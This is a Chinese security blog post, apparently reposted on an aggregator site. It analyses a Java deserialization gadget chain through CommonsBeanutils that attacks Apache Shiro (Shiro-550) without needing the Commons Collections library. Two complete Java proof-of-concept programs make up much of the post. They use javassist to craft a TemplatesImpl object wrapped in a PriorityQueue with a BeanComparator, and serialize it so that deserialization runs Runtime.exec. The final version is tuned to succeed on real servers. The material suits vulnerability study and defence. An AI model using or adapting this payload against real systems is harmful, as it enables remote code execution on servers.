栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

Shiro安全(三):Shiro自身利用链之CommonsBeanutils
    • 0x00 前言
    • 0x01 利用链分析
    • 0x02 Shiro550利用
    • 0x03 总结
    • 0x04 文章参考

0x00 前言

前面在利用shiro反序列化时,都是利用CC链,但是这需要服务端引入CommonsCollections组件。所以最好是找到一条shiro自身的利用链,而不需要任何的前提条件

在之前曾介绍过java.util.PriorityQueue,在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉 及到大小比较,进而执行 java.util.Comparator 接口的 compare() 方法。

是否能够找到其他的Comparator呢

0x01 利用链分析
 

这里引入Apache Commons Beanutils,它是是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。

在该项目中提供了一个静态方法PropertyUtils.getProperty

该方法的作用是调用任意javabean的gettter方法

PropertyUtils.getProperty(new Cat(), "name")

这个时候会调用Cat对象的getname方法并返回

那如果我们传入的是恶意TemplatesImpl对象并且第二个参数是OutputProperties呢,此时就会进入调用TemplatesImpl#getOutputProperties从而触发后面的链子,这个在fastjson中讲到过。

此时我们就需要找到哪里利用了PropertyUtils.getProperty

org.apache.commons.beanutils.BeanComparator

BeanComparator#compare方法就调用了PropertyUtils.getProperty

此时我们就能想起PriorityQueue那条cc链,我们可以将BeanComparator赋值到PriorityQueue中,利用PriorityQueue#readobject触发

package com.govuln.deserialization;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Calc" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue queue = new PriorityQueue(2,
                comparator);
// stub data for replacement later
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
        inputStream.readObject();
        inputStream.close();
    }
}
 

成功触发计算器

0x02 Shiro550利用

好了,现在利用链分析完了,现在该考虑如何在shiro中利用

这条链子依赖的是Commons Beanutils这个包,而这个包shiro它自带了,所以说是shiro自身的利用链

我们生成这个链子的payload发送过去

期间可能会存在serialVersionUID错误,原因是因为本地Commons-Beanutils版本和服务端Commons-Beanutils版本不一致导致的

具体可看:P牛 安全漫谈第17篇

报错了,报错如下

意思就是comparablecomparator没找到,这个类可以看到是CC包里面的,服务器没有CC组件当然找不到

看一下我们在哪里用到了这个comparablecomparator

发现在初始化BeanComparator时给comparator赋了默认值ComparableComparator

这个类时CC包里的,所以报错提示说找不到

所以我们得自己找个comparator,其要满足以下条件

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,兼容性强

最终找到了CaseInsensitiveComparator,这个类属于java.lang包下的,绝对兼容性强

这个类从图中也可以看到可以通过String.CASE_INSENSITIVE_ORDER获取

那么最终POC就是

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;



public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Calc" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue queue = new PriorityQueue(2,
                comparator);
// stub data for replacement later
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
        inputStream.readObject();
        inputStream.close();
    }
}
 

成功弹出计算器

0x03 总结
  • 本文主要是要理解如何在没有CC组件等外部依赖的情况下,找到shiro自身的利用链来提高攻击的成功率
  • 主要使用到了commons-beanutils这个包中的BeanComparator类和PropertyUtils类

BeanComparator做为PriorityQueue的comparator

PropertyUtils.getProperty在BeanComparator#compare中被触发从而进入TemplatesImpl#getOutputProperties

PS:这条链子请注意有两处Comparator,第一个是PriorityQueue中的Comparator即BeanComparator,要利用其compare方法调用PropertyUtils.getProperty

而第二处Comparator是BeanComparator中的Comparator,这个是谁都不重要,因为我们只需要进入到compare方法中执行第一行代码就能命令执行

0x04 文章参考

P牛 安全漫谈17篇

https://www.yuque.com/tianxiadamutou/zcfd4v/yzw734

转载请注明:文章转载自 www.mshxw.com
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号